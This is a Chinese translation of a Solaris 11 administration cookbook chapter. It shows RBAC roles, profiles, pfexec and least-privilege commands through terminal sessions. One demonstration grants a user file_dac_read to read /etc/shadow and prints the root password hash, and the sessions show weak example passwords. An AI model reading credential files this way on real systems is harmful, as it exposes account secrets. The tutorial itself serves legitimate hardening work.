
参考资料

第七章:配置和管理 RBAC 与最小权限

本章我们将涵盖以下内容:

  • 配置和使用 RBAC

  • 操作最小权限

引言

基于角色的访问控制RBAC)是一个了不起的功能,它同样存在于 Oracle Solaris 11 中(其起源可以追溯到 Oracle Solaris 8),主要功能是使得能够限制普通用户执行任务时所获得的权限。换句话说,RBAC 使得能够仅授权普通用户完成管理任务所需的最小权限,这种方式类似于 sudo 程序。与 sudo 程序相比,RBAC 的主要区别在于它完全集成在操作系统中,并且在用户登录 Oracle Solaris 11 时就会使用它。此外,RBAC 提供比 sudo 更精细的权限访问,并且与 Oracle Solaris 11 中的另一个出色功能——最小权限(least privilege)——集成,最小权限用于从进程和程序中删除不必要的权限,从而可以减少黑客攻击的表面。

配置和使用 RBAC

在解释和实现 RBAC 功能之前,需要先记住为什么 RBAC 是必要的,然后学习一些基本概念。

根据我们之前对 Oracle Solaris 11 的研究,普通用户是无法重启 Oracle Solaris 11 系统的,如下所示的命令所示:

root@solaris11-1:~# useradd -d /export/home/aborges -m -s /bin/bash aborges
80 blocks
root@solaris11-1:~# passwd aborges
New Password: hacker123!
Re-enter new Password: hacker123!
passwd: password successfully changed for aborges
root@solaris11-1:~# su - aborges
Oracle Corporation  SunOS 5.11  11.1  September 2012
aborges@solaris11-1:~$ reboot
reboot: permission denied
aborges@solaris11-1:~$

一个简单且完全不合适的解决方案是将 root 账户的密码提供给用户 aborges。然而,这在专业公司中是无法想象的。另一种且推荐的解决方案是使用 RBAC,这是一项安全功能,它允许普通用户完成管理任务,比如重启系统,如我们之前所做的尝试。

RBAC 框架包含以下对象:

  • 角色:这是一种特殊类型的用户,创建它是为了执行管理任务,尽管无法直接登录系统,正确的做法是以普通用户身份登录,然后通过 su 命令来假设角色。由于角色是一种特殊的用户类型,它在 /etc/passwd 文件中配置,并且在 /etc/shadow 文件中定义了密码。然而,与普通用户不同,无法通过角色登录 Oracle Solaris 11。用户必须使用普通账户登录,然后可以通过 su 命令假设角色。

  • 配置文件:这是一个命令集合。任何分配给配置文件的角色都可以执行该配置文件中的任何命令。所有系统配置文件都定义在 /etc/security/prof_attr.d/core-os 文件中,本地配置文件可以在 /etc/security/prof_attr 文件中定义。要列出所有配置文件,请使用以下命令:

    root@solaris11-1:~# getent prof_attr | more
    Software Installation:RO::Add application software to the system:auths=solaris.smf.manage.servicetags;profiles=ZFS File System Management;help=RtSoftwareInst
    all.html
    NTP Management:RO::Manage the NTP service:auths=solaris.smf.manage.ntp,solaris.smf.value.ntp
    Desktop Configuration:RO::Configure graphical desktop software:auths=solaris.smf.manage.dt.login,solaris.smf.manage.x11,solaris.smf.manage.font,solaris.smf.m
    anage.opengl
    Device Security:RO::Manage devices and Volume Manager:auths=solaris.smf.manage.dt.login,solaris.device.*,solaris.smf.manage.vt,solaris.smf.manage.allocate;he
    lp=RtDeviceSecurity.html
    Desktop Removable Media User:RO::Access removable media for desktop user:
    (truncated output)
    
    
  • 授权:这表示为完成特定任务而设置的特殊权限,例如访问 CD-ROM、管理 CUPS 打印服务、NTP 服务、区域、SMF 框架等。通常,授权是在 Oracle Solaris 安装过程中或通过新安装的软件创建的。所有系统授权都定义在/etc/security/auth_attr.d/core-os文件中,本地授权定义在/etc/security/auth_attr文件中。要列出所有授权,我们运行以下命令:

    root@solaris11-1:~# getent auth_attr | more
    solaris.smf.read.ocm:::Read permissions for protected Oracle Configuration Manager Service Properties::
    solaris.smf.value.ocm:::Change Oracle Configuration Manager System Repository Service values::
    solaris.smf.manage.ocm:::Manage Oracle Configuration Manager System Repository Service states::
    solaris.smf.manage.cups:::Manage CUPS service states::help=ManageCUPS.html
    solaris.smf.manage.zfs-auto-snapshot:::Manage the ZFS Automatic Snapshot Service::
    solaris.smf.value.tcsd:::Change TPM Administation value properties::
    (truncated output)
    
    
  • 权限:这是一种单一的权利,可以分配给用户、角色、命令甚至系统。

  • 执行属性:这些是定义在/etc/security/exec_attr.d/core-os(系统执行属性)或/etc/security/exec_attr文件(本地定义)中的命令,它们被分配给一个或多个配置文件。要列出所有执行属性,我们运行以下命令:

    root@solaris11-1:~# getent exec_attr | more
    DTrace Toolkit:solaris:cmd:::/usr/dtrace/DTT/*/*:privs=dtrace_kernel,dtrace_proc,dtrace_user
    Desktop Configuration:solaris:cmd:RO::/usr/bin/scanpci:euid=0;privs=sys_config
    Desktop Configuration:solaris:cmd:RO::/usr/X11/bin/scanpci:euid=0;privs=sys_config
    OpenLDAP Server Administration:suser:cmd:RO::/usr/sbin/slapd:uid=openldap;gid=openldap;privs=basic,net_privaddr
    OpenLDAP Server Administration:suser:cmd:RO::/usr/sbin/slapacl:uid=openldap;gid=openldap
    (truncated output)
    
    
  • 配置文件外壳:这是一种特殊的配置文件(pfbashpfshpfcshpfzsh),在su命令中分配给用户,以假设一个角色或登录外壳,允许访问特定的权限。必须使用其中任何一种配置文件外壳。

  • 安全策略:这定义了用户的默认权限和配置文件。相关的配置文件是/etc/security/policy.conf,如下所示:

    root@solaris11-1:~# more /etc/security/policy.conf
    
    

使用 RBAC 有两种方法。第一种方法更简单、直接;你可以直接创建并分配一个配置文件给用户账户,以便作为普通用户登录并使用pfexec命令从分配的配置文件中执行额外的命令。

第二种方法是将所有提到的 RBAC 概念(命令、授权、配置文件、角色和用户)结合在一起,按照以下方案从右到左排列:

用户 <-- 角色 <-- 配置文件 <-- 命令和/或授权

第二种方法较为复杂,使用 RBAC 所需的步骤如下所述:

  1. 使用roleadd命令创建一个角色。

  2. 创建一个配置文件,编辑/etc/security/prof_attr文件。

  3. /etc/security/exec_attr中为创建的配置文件(步骤 2)分配命令,或在/etc/security/prof_attr文件中为配置文件分配授权(/etc/security/auth_attr)。

  4. 使用rolemod命令将配置文件分配给角色。

  5. 使用passwd命令为角色创建一个密码。

  6. 使用usermod命令将一个或多个用户分配给该角色。

  7. 当用户需要使用指定命令时,执行su - <rolename>

这很好!这是管理 RBAC 所需概念的总结。我们将学习如何执行逐步操作,以便了解两种方法。

准备工作

这个配方需要一台虚拟机(VirtualBox 或 VMware),运行 Oracle Solaris 11,并且至少有 2GB 的 RAM。

如何操作…

我们将学习两种方法,使普通用户能够重启系统,即使用pfexec命令(较简单)和 RBAC 角色(更复杂)。

使用pfexec命令很简单。首先,创建aborges普通用户,密码为hacker123!,如以下命令所示:

root@solaris11-1:~# useradd -d /export/home/aborges -m -s /bin/bash aborges
80 blocks
root@solaris11-1:~# passwd aborges
New Password: hacker123!
Re-enter new Password: hacker123!
passwd: password successfully changed for aborges

主要的思路是将一个配置文件(即一组命令)直接关联到用户(aborges)。在此情况下,所需的配置文件已经存在;如果没有,我们需要创建一个新的。为了避免创建不必要的配置文件,可以通过执行以下命令来验证/etc/security/exec_attr.d/core-os文件中是否已经有包含reboot命令的行:

root@solaris11-1:~# cat /etc/security/exec_attr.d/core-os | grep reboot
Maintenance and Repair:solaris:cmd:RO::/usr/sbin/reboot:uid=0

太棒了!有一个名为"维护和修复"的配置文件,其中包括重启命令。为了完成我们的任务,将此配置文件(使用–P选项)与aborges用户关联,如下所示的命令:

root@solaris11-1:~# usermod -P "Maintenance and Repair" aborges
root@solaris11-1:/# more /etc/user_attr.d/local-entries | grep aborges
aborges::::profiles=Maintenance and Repair

正如我们所发现的,它在/etc/user_attr.d/local-entries文件中为aborges用户创建了一个条目。然而,即便包含了这个条目,将aborges用户与"维护和修复"配置文件关联起来,用户仍然无法重启系统,如下所示的命令:

root@solaris11-1:/# su – aborges
Oracle Corporation  SunOS 5.11  11.1  September 2012
aborges@solaris11-1:~$ reboot
reboot: permission denied

然而,如果aborges用户想要使用pfexec执行相同的命令,结果会不同,如下所示的命令:

aborges@solaris11-1:~$ pfexec reboot

它成功了!系统将按预期重启。

使用pfexec命令的方法很棒,但选择的配置模式(使用现有的配置文件)可能会带来两个小副作用:

  • "维护和修复"配置文件包含其他命令,我们也已将这些命令分配给aborges用户,如下所示的命令:

    root@solaris11-1:~# cat /etc/security/exec_attr.d/core-os | grep -i "Maintenance and Repair"
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/mdb:privs=all
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/coreadm:euid=0;privs=proc_owner
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/croinfo:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/date:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/ldd:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/vmstat:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/eeprom:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/halt:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/init:uid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/pcitool:privs=all
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/poweroff:uid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/prtconf:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/reboot:uid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/syslogd:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/bootadm:euid=0
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/ucodeadm:privs=all
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/cpustat:privs=basic,cpc_cpu
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/pgstat:privs=basic,cpc_cpu
    Maintenance and Repair:solaris:cmd:RO::/usr/bin/kstat:privs=basic,cpc_cpu
    Maintenance and Repair:solaris:cmd:RO::/usr/sbin/ilomconfig:privs=sys_config,sys_ip_config,sys_dl_config
    Maintenance and Repair:solaris:cmd:RO::/usr/lib/ilomconfig.builtin:privs=sys_config,sys_ip_config,sys_dl_config
    

    为了防止这种情况,最好创建一个新配置文件,并仅将重启命令分配给它。

  • 第二个副作用是,使用pfexec命令的过程需要为每个需要使用reboot命令的用户进行,但这可能需要额外的时间。

达成目标的第二种方法是结合使用角色、配置文件和/或授权。在这种情况下的优点是,权限不是直接与用户关联,而是分配给角色。然后,如果普通用户需要重启系统(例如),它可以通过su命令获取角色并执行相应的命令。

创建另一个用户(与前一个用户不同)并用于此方法,执行以下命令:

root@solaris11-1:~# useradd -d /export/home/rbactest -m -s /bin/bash rbactest
80 blocks
root@solaris11-1:~# passwd rbactest
New Password: oracle123!
Re-enter new Password: oracle123!
passwd: password successfully changed for rbactest

为了确认brbactest用户不能重启系统,执行以下命令:

root@solaris11-1:~# su - rbactest
Oracle Corporation	SunOS 5.11  11.1  September 2012

rbactest@solaris11-1:~$ reboot
reboot: permission denied

创建一个将在之后配置的角色,执行以下命令:

root@solaris11-1:~# roleadd -m -d /export/home/r_reboot -s /bin/pfbash r_reboot
80 blocks
root@solaris11-1:~# grep r_reboot /etc/passwd
r_reboot:x:103:10::/export/home/r_reboot:/bin/bash
root@solaris11-1:~# grep r_reboot /etc/shadow
r_reboot:UP:::::::

如我们之前所提到的,配置文件在 RBAC 配置中非常重要。系统已经有一些已定义的系统配置文件,这些配置文件在/etc/security/prof_attr.d/core-os文件中进行配置,如下所示的命令:

root@solaris11-1:~# more /etc/security/prof_attr.d/core-os 
(truncated output)
All:RO::\
Execute any command as the user or role:\
help=RtAll.html

Administrator Message Edit:RO::\
Update administrator message files:\
auths=solaris.admin.edit/etc/issue,\
solaris.admin.edit/etc/motd;\
help=RtAdminMsg.html

Audit Configuration:RO::\
Configure Solaris Audit:\
auths=solaris.smf.value.audit;\
help=RtAuditCfg.html

Audit Control:RO::\
Control Solaris Audit:\
auths=solaris.smf.manage.audit;\
help=RtAuditCtrl.html
(truncated output)

因此,根据本配方介绍中建议的步骤,在配置文件的末尾创建一个名为Reboot的配置文件,如下所示的命令所示:

root@solaris11-1:~# vi /etc/security/prof_attr
#
# The system provided entries are stored in different files
# under "/etc/security/prof_attr.d".  They should not be
# copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
Reboot:RO::\
For authorized users to reboot the system:\
help=RebootByRegularUser.html

从这个文件中我们知道,配置文件的名称是Reboot,而RO(只读)字符表示它不能被任何修改此数据库的工具修改。接下来的行表示描述和帮助文件(不必创建它)。可以绑定授权(auths键)、其他配置文件(profiles键)和权限(priv键)到此Reboot配置文件。

配置文件创建后,我们需要为该配置文件分配一个或多个命令,局部修改通过编辑/etc/security/exec_attr文件来完成,如下所示的命令:

root@solaris11-1:~# vi /etc/security/exec_attr
#
# The system provided entries are stored in different files
# under "/etc/security/exec_attr.d".  They should not be
# copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
Reboot:solaris:cmd:RO::/usr/sbin/reboot:uid=0

 explained as follows:
  • Reboot:这是配置文件的名称。

  • solaris:这是与Reboot配置文件相关联的安全策略。此安全策略能够识别权限。Oracle Solaris 11 为此字段提供了另一个可能的值,名为suser(之前未显示),它与solaris值非常相似,但无法理解和识别权限。

  • cmd:这是一个对象类型。在本例中,它是一个由 shell 执行的命令。

  • RO:这表示这一行不能被任何修改此文件的工具修改。

  • /usr/sbin/reboot:这是用户在假定具有此Reboot配置文件的角色时要执行的命令。

  • Uid=0:该命令以用户的根用户的真实 ID(uid=0)运行。当用户必须运行命令时,该命令将作为根用户执行。其他常见且有用的键包括euid(有效用户 ID,类似于使用setuid设置可执行文件时运行命令)和privs(权限)。

再次查看已经存在的系统执行属性,定义在/etc/security/exec_attr.d/core-os文件中,非常有趣,如下所示的命令:

root@solaris11-1:~# more /etc/security/exec_attr.d/core-os 
(truncated output)
All:solaris:cmd:RO::*:
Audit Control:solaris:cmd:RO::/usr/sbin/audit:privs=proc_owner,sys_audit
Audit Configuration:solaris:cmd:RO::/usr/sbin/auditconfig:privs=sys_audit
Audit Review:solaris:cmd:RO::/usr/sbin/auditreduce:euid=0
Audit Review:solaris:cmd:RO::/usr/sbin/auditstat:privs=proc_audit
Audit Review:solaris:cmd:RO::/usr/sbin/praudit:privs=file_dac_read
Contract Observer:solaris:cmd:RO::/usr/bin/ctwatch:\
  privs=contract_event,contract_observer
Cron Management:solaris:cmd:RO::/usr/bin/crontab:euid=0
Crypto Management:solaris:cmd:RO::/usr/sbin/cryptoadm:euid=0
Crypto Management:solaris:cmd:RO::/usr/bin/kmfcfg:euid=0
Crypto Management:solaris:cmd:RO::/usr/sfw/bin/openssl:euid=0
Crypto Management:solaris:cmd:RO::/usr/sfw/bin/CA.pl:euid=0
DHCP Management:solaris:cmd:RO::/usr/lib/inet/dhcp/svcadm/dhcpconfig:uid=0
DHCP Management:solaris:cmd:RO::/usr/lib/inet/dhcp/svcadm/dhtadm:uid=0
DHCP Management:solaris:cmd:RO::/usr/lib/inet/dhcp/svcadm/pntadm:uid=0
(truncated output)

现在是时候将r_reboot角色绑定到Reboot配置文件(使用–P选项),通过执行以下命令:

root@solaris11-1:~# rolemod -P Reboot r_reboot
root@solaris11-1:~# more /etc/user_attr
#
# The system provided entries are stored in different files
# under "/etc/user_attr.d".  They should not be copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
ale::::lock_after_retries=no;profiles=System Administrator;roles=root
r_reboot::::type=role;profiles=Reboot;roleauth=role

根据之前的输出,r_rebootrole类型,并且与Reboot配置文件相关联。

r_reboot角色没有密码,因此我们应该通过运行以下命令为其设置一个新密码:

root@solaris11-1:~# passwd r_reboot
New Password: hacker321!
Re-enter new Password: hacker321!
passwd: password successfully changed for r_reboot
root@solaris11-1:~# grep r_reboot /etc/shadow
r_reboot:$5$q75Eiy5/$u9mgnYsvlszbNXkSuH4kZwVVnFOhemnCTMF//cvBWD9:16178::::::19216

RBAC 配置几乎完成。为了假定此r_reboot角色,rbactest用户必须通过使用usermod命令中的-R选项来分配该角色,如下所示的命令:

root@solaris11-1:~# usermod -R r_reboot rbactest
root@solaris11-1:~# more /etc/user_attr
#
# The system provided entries are stored in different files
# under "/etc/user_attr.d".  They should not be copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
ale::::lock_after_retries=no;profiles=System Administrator;roles=root
r_reboot::::type=role;profiles=Reboot;roleauth=role
rbactest::::roles=r_reboot

为了确认到目前为止执行的每个任务,请运行以下命令:

root@solaris11-1:~# roles rbactest
r_reboot
root@solaris11-1:~# profiles rbactest
rbactest:
          Basic Solaris User
          All
root@solaris11-1:~# profiles r_reboot
r_reboot:
          Reboot
 Basic Solaris User
 All

值得记住的是,rbactest 是一个用户,而 r_reboot 是一个角色,正如之前所解释的,无法使用角色登录系统。此外,现有的配置文件有 Basic Solaris User,允许用户根据已设定的安全限制使用系统,和 All,它提供对没有任何安全属性的命令的访问。

继续验证,我们需要检查 r_reboot 角色和 rbactest 用户的授权,以及分配给 r_reboot 角色的配置文件。这些任务通过执行以下命令序列完成:

root@solaris11-1:~# auths r_reboot
solaris.admin.wusb.read,solaris.mail.mailq,solaris.network.autoconf.read
root@solaris11-1:~# auths rbactest
solaris.admin.wusb.read,solaris.mail.mailq,solaris.network.autoconf.read
root@solaris11-1:~# profiles -l r_reboot
r_reboot:
      Reboot
          /usr/sbin/reboot           uid=0

      Basic Solaris User
      auths=solaris.mail.mailq,solaris.network.autoconf.read,solaris.admin.wusb.read
      profiles=All
              /usr/bin/cdrecord.bin      privs=file_dac_read,sys_devices,proc_lock_memory,proc_priocntl,net_privaddr
          /usr/bin/readcd.bin        privs=file_dac_read,sys_devices,net_privaddr
          /usr/bin/cdda2wav.bin      privs=file_dac_read,sys_devices,proc_priocntl,net_privaddr

      All
          *

有几点需要特别强调:

  • rbactest 用户被分配给了 r_reboot 角色。

  • rbactest 用户和 r_reboot 角色都没有被分配任何授权。

  • All 配置文件授予对 Oracle Solaris 11 所有不受限制命令的完全访问权限。在这种情况下,r_reboot 角色与三个配置文件相关联:RebootBasic Solaris UserAll

  • Basic Solaris User 配置文件可以使用特定的权限执行一些相关的 CD-ROM 命令。

最后,我们可以通过执行以下命令验证 rbactest 用户是否能够重启系统:

root@solaris11-1:~# id
uid=0(root) gid=0(root)
root@solaris11-1:~# su - rbactest
Oracle Corporation	SunOS 5.11	11.1	September 2012
rbactest@solaris11-1:~$ id
uid=102(rbactest) gid=10(staff)
rbactest@solaris11-1:~$ profiles
          Basic Solaris User
          All
rbactest@solaris11-1:~$ su - r_reboot
Password: hacker321!
Oracle Corporation	SunOS 5.11	11.1	September 2012
r_reboot@solaris11-1:~$ id
uid=103(r_reboot) gid=10(staff)
r_reboot@solaris11-1:~$ profiles
          Reboot
          Basic Solaris User
          All
r_reboot@solaris11-1:~$ reboot

系统立即重新启动。太棒了!

RBAC 允许你将你所学到的所有概念(角色、配置文件、授权和命令)与特权相结合;因此,它为我们提供了比 sudo 程序更细粒度且集成的控制。

在使用 Oracle Solaris 11 时,我们可以将 RBAC 与 SMF 框架中的服务一起使用。例如,DNS 客户端和 DHCP 服务器有以下授权:

root@solaris11-1:~# svcprop -p general/action_authorization dns/client
solaris.smf.manage.name-service.dns.client
root@solaris11-1:~# svcprop -p general/action_authorization dhcp/server:ipv4
solaris.smf.manage.dhcp

没有这些适当的授权,rbactest 用户将无法管理这些服务,以下命令显示了这一点:

root@solaris11-1:~# id
uid=0(root) gid=0(root)
root@solaris11-1:~# su - rbactest
Oracle Corporation	SunOS 5.11  11.1  September 2012
rbactest@solaris11-1:~$ id
uid=102(rbactest) gid=10(staff)
rbactest@solaris11-1:~$ svcadm restart dns/client
svcadm: svc:/network/dns/client:default: Permission denied.
rbactest@solaris11-1:~$ svcadm restart dhcp/server:ipv4
svcadm: svc:/network/dhcp/server:ipv4: Permission denied.

通过执行以下命令,分配相应的授权给 r_reboot 角色,可以轻松解决这些问题:

root@solaris11-1:~# rolemod -A solaris.smf.manage.name-service.dns.client,solaris.smf.manage.dhcp r_reboot

为了验证之前的命令是否生效,请检查已修改的文件:

root@solaris11-1:~# more /etc/user_attr
#
# The system provided entries are stored in different files
# under "/etc/user_attr.d".  They should not be copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
ale::::lock_after_retries=no;profiles=System Administrator;roles=root
r_reboot::::type=role;auths=solaris.smf.manage.name-service.dns.client,solaris.smf.manage.dhcp;profiles=Reboot;defaultpriv=basic,file_dac_read;roleauth=role
rbactest::::defaultpriv=basic,file_dac_read;roles=r_reboot

太好了!现在是时候通过执行以下命令来测试我们的修改是否有效:

root@solaris11-1:~# su - rbactest
Oracle Corporation  SunOS 5.11  11.1  September 2012
rbactest@solaris11-1:~$ su - r_reboot
Password: hacker321!
Oracle Corporation  SunOS 5.11  11.1  September 2012
r_reboot@solaris11-1:~$ svcadm -v restart dns/client
Action restart set for svc:/network/dns/client:default.
r_reboot@solaris11-1:~$ svcadm -v restart dhcp/server:ipv4
Action restart set for svc:/network/dhcp/server:ipv4.

太棒了!RBAC 与 SMF 的集成非常完美,像 rbactest 这样的普通用户能够像 root 用户一样管理服务(DNS 客户端和 DHCP 服务器)。

如果我们想要解除 rbactest 用户与 r_reboot 角色的绑定,以防止他们重启系统或执行其他系统操作,请执行以下命令:

root@solaris11-1:~# roles rbactest
r_reboot
root@solaris11-1:~# usermod -R "" rbactest
root@solaris11-1:~# roles rbactest
root@solaris11-1:~#

最后还有一点补充:可以在 /etc/security/policy.conf 文件中为每个用户配置默认的 RBAC 授权和配置文件。同样,也可以配置默认的特权及其限制,如以下命令所示:

root@solaris11-1:~# more /etc/security/policy.conf 
(truncated output)
AUTHS_GRANTED=
PROFS_GRANTED=Basic Solaris User
CONSOLE_USER=Console User
(truncated output)
#
#PRIV_DEFAULT=basic
#PRIV_LIMIT=all
#
(truncated output)

配方概览

在本节中,我们学习了如何使用 RBAC 使普通用户能够重启系统。此外,我们还测试了如何查找并授予必要的授权来管理 SMF 框架中的服务。相同的步骤适用于任何用户和任何数量的命令。

使用最少权限

Oracle Solaris 11,像其他优秀的类 UNIX 操作系统一样,在其起步时存在一个缺陷;有一个名为 root 的特权账户,它在系统上拥有所有特权权限,而其他账户则拥有有限的权限,如普通用户。在这种模式下,进程要么拥有所有特权,要么没有任何特权。因此,如果我们授予普通用户运行程序的权限,通常我们授予的权限远远超出了所需的权限,而如果黑客破解了应用程序或系统,这可能会成为一个问题。

在 Oracle Solaris 10 中,开发者引入了一个极好的功能,使得权限更加灵活;最少权限。基本概念很简单;建议只授予进程、用户或程序所需的最小权限,以减少严重安全漏洞发生时造成的损害。例如,当我们通过应用读取、写入和执行权限来管理文件系统安全时,我们通常会为文件授予比实际需要的更多权限,这是一个大问题。如果我们只授予足够的权限(如简单且个别的权限),以满足角色、用户、命令或甚至进程的需求,那将更为理想。

一个进程有四种权限集合:

  • 有效 (E):表示当前正在使用的权限集合。

  • 继承 (I):表示子进程在执行 fork()/exec() 调用后可以继承的权限集合。

  • 许可 (P):表示可供使用的权限集合。

  • 限制 (L):表示可以提供给许可集合的所有可用权限。

Oracle Solaris 11 具有几种权限类别,如文件权限、系统权限、网络权限、进程权限和 IPC 权限。这些权限类别(有些人称之为分类)中的每一类都有许多不同的权限,其中一些被选为分配给任何用户的基本权限。

准备工作

本教程需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),并且至少需要 2 GB 内存。

如何操作…

什么是现有的权限?这个问题可以通过查看主页面(main privileges 命令)或运行以下命令来回答:

root@solaris11-1:~# ppriv -vl | more
contract_event
  Allows a process to request critical events without limitation.
  Allows a process to request reliable delivery of all events on
  any event queue.
contract_identity
  Allows a process to set the service FMRI value of a process
  contract template.
 (truncated output)

然而,在所有现有权限中,只有一部分是基本且必需的,用于进程操作:

root@solaris11-1:~# ppriv -vl basic
file_link_any
  Allows a process to create hardlinks to files owned by a uid
  different from the process' effective uid.
file_read
  Allows a process to read objects in the filesystem.
file_write
  Allows a process to modify objects in the filesystem.
net_access
  Allows a process to open a TCP, UDP, SDP or SCTP network endpoint.
proc_exec
  Allows a process to call execve().
proc_fork
  Allows a process to call fork1()/forkall()/vfork()
proc_info
  Allows a process to examine the status of processes other
  than those it can send signals to.  Processes which cannot
  be examined cannot be seen in /proc and appear not to exist.
proc_session
  Allows a process to send signals or trace processes outside its
  session.

在处理进程权限时,我们可以通过使用 ppriv 命令来管理它们。例如,要列出当前 shell 的权限,可以运行以下命令:

root@solaris11-1:~# ppriv $$
2590:  bash
flags = <none>
  E: all
  I: basic
  P: all
  L: all

我们也可以通过执行ppriv 2590得到相同的结果,并且在两种情况下,都可以通过使用-v选项获得更详细的输出(ppriv –v 2590ppriv –v $$)。此外,这里可能出现两个常见的标志:PRIV_AWARE(进程已意识到权限框架)和PRIV_DEBUG(进程处于权限调试模式)。

我们已经了解了可能的权限,现在是时候在实际案例中应用这些概念了。例如,如果一个普通用户(上节中的rbactest用户)尝试读取/etc/shadow文件内容,他们将看不到任何内容,如下命令所示:

root@solaris11-1:~# id
uid=0(root) gid=0(root)
root@solaris11-1:~# ls -l /etc/shadow
-r--------   1 root     sys          949 Apr 18 22:57 /etc/shadow
root@solaris11-1:~# su – rbactest
Oracle Corporation	SunOS 5.11  11.1  September 2012
rbactest@solaris11-1:~$ more /etc/shadow
/etc/shadow: Permission denied

如果我们没有合适的解决方案,这可能会对我们造成严重问题,因为我们不希望授予rbactest用户任何不必要的权限,但我们需要授予足够的权限来完成读取/etc/shadow文件的任务。如果我们将读取权限(R)授予/etc/shadow文件中的其他权限组,我们就允许其他用户读取该文件。使用访问控制列表ACL)可以解决这个问题,因为我们可以仅为rbactest用户授予/etc/shadow的读取权限(R),但对于这样一个重要的文件来说,授予过多的权限是危险的。

这个问题的真正解决方法是使用最小权限原则。换句话说,建议只为rbactest用户分配查看/etc/shadow内容所必需的权限。然而,正确的权限是什么?通过运行ppriv命令并使用–De选项(调试和执行),可以找到正确的权限,如下命令所示:

rbactest@solaris11-1:~$ ppriv -De more /etc/shadow
more[2615]: missing privilege "file_dac_read" (euid = 102, syscall = 69) for "/etc/shadow" needed at zfs_zaccess+0x245
/etc/shadow: Permission denied

缺少的权限是file_dac_read,其描述如下:

rbactest@solaris11-1:~$ ppriv -vl file_dac_read
file_dac_read
  Allows a process to read a file or directory whose permission
  bits or ACL do not allow the process read permission.

失败的系统调用可以通过以下命令查看:

root@solaris11-1:~# grep 69 /etc/name_to_sysnum
openat64    69

通过执行以下命令,获取mkdirat系统调用的更多信息是可行的:

rbactest@solaris11-1:~$ man openat
System Calls                                              open(2)
NAME
     open, openat - open a file

SYNOPSIS
     #include <sys/types.h>
     #include <sys/stat.h>
     #include <fcntl.h>

     int open(const char *path, int oflag, /* mode_t mode */);

     int openat(int fildes, const char *path, int oflag,
          /* mode_t mode */);

DESCRIPTION
     The open() function establishes  the  connection  between  a
     file and a file descriptor. It creates an open file descrip-
     tion that refers to a file and a file descriptor that refers 
(truncated output)

现在我们知道了正确的权限,所以有两种方法可以纠正这种情况:要么直接将file_dac_read权限授予rbactest用户,要么将其分配给一个角色(例如,上一节中的r_reboot)。

要为rbactest用户分配权限并将权限分配给角色,请执行以下命令:

root@solaris11-1:~# id
uid=0(root) gid=0(root)
root@solaris11-1:~# usermod -R r_reboot rbactest
root@solaris11-1:~# rolemod -K defaultpriv=basic,file_dac_read r_reboot
root@solaris11-1:~# cat /etc/user_attr
#
# The system provided entries are stored in different files
# under "/etc/user_attr.d".  They should not be copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
ale::::lock_after_retries=no;profiles=System Administrator;roles=root
r_reboot::::type=role;defaultpriv=basic,file_dac_read;profiles=Reboot;roleauth=role
rbactest::::roles=r_reboot 

根据前面的步骤,我们已经将rbactest用户与r_reboot角色关联(如果你之前已经做过),并保留了现有的基本权限。此外,添加了一个新的权限(file_dac_read)。要验证配置是否正确,请运行以下命令:

root@solaris11-1:~# su - rbactest
Oracle Corporation  SunOS 5.11  11.1  September 2012

rbactest@solaris11-1:~$ su - r_reboot
Password: hacker321!
Oracle Corporation  SunOS 5.11  11.1  September 2012
r_reboot@solaris11-1:~$ profiles
          Reboot
          Basic Solaris User
          All
r_reboot@solaris11-1:~$ more /etc/shadow
root:$5$7X5pLA3o$ZTJJeO.MfVLlBGzJI.yzh3vqhvW.xUWBknCCMHRvP79:16179::::::18384
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
(truncated output)

它已经生效了!另一种获得相同结果的方法是直接将file_dac_read权限授予rbactest用户,但这不是推荐的方法:

root@solaris11-1:~# id
uid=0(root) gid=0(root)
root@solaris11-1:~# usermod -K defaultpriv=basic,file_dac_read rbactest
root@solaris11-1:~# more /etc/user_attr
# The system provided entries are stored in different files
# under "/etc/user_attr.d".  They should not be copied to this file.
#
# Only local changes should be stored in this file.
# This line should be kept in this file or it will be overwritten.
#
ale::::lock_after_retries=no;profiles=System Administrator;roles=root
r_reboot::::type=role;defaultpriv=basic,file_dac_read;profiles=Reboot;roleauth=role
rbactest::::defaultpriv=basic,file_dac_read;roles=r_reboot

root@solaris11-1:~# su – rbactest
Oracle Corporation	SunOS 5.11  11.1  September 2012
rbactest@solaris11-1:~$ more /etc/shadow
root:$5$oXapLA3o$UTJJeO.MfVlTBGzJI.yzhHvqhvW.xUWBknCCKHRvP79:16179::::::18384
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
(truncated output)

这也已经生效了!

配方概述

在本节中,我们学习了如何使用pfexec命令、RBAC 概念和最小权限原则。此外,我们还通过示例展示了如何将这些技术应用于日常管理中。

参考资料

第八章:管理和监控进程

本章将涵盖以下主题:

  • 监控和处理进程执行

  • 管理 Solaris 11 中的进程优先级

  • 配置 FSS 并应用于项目

介绍

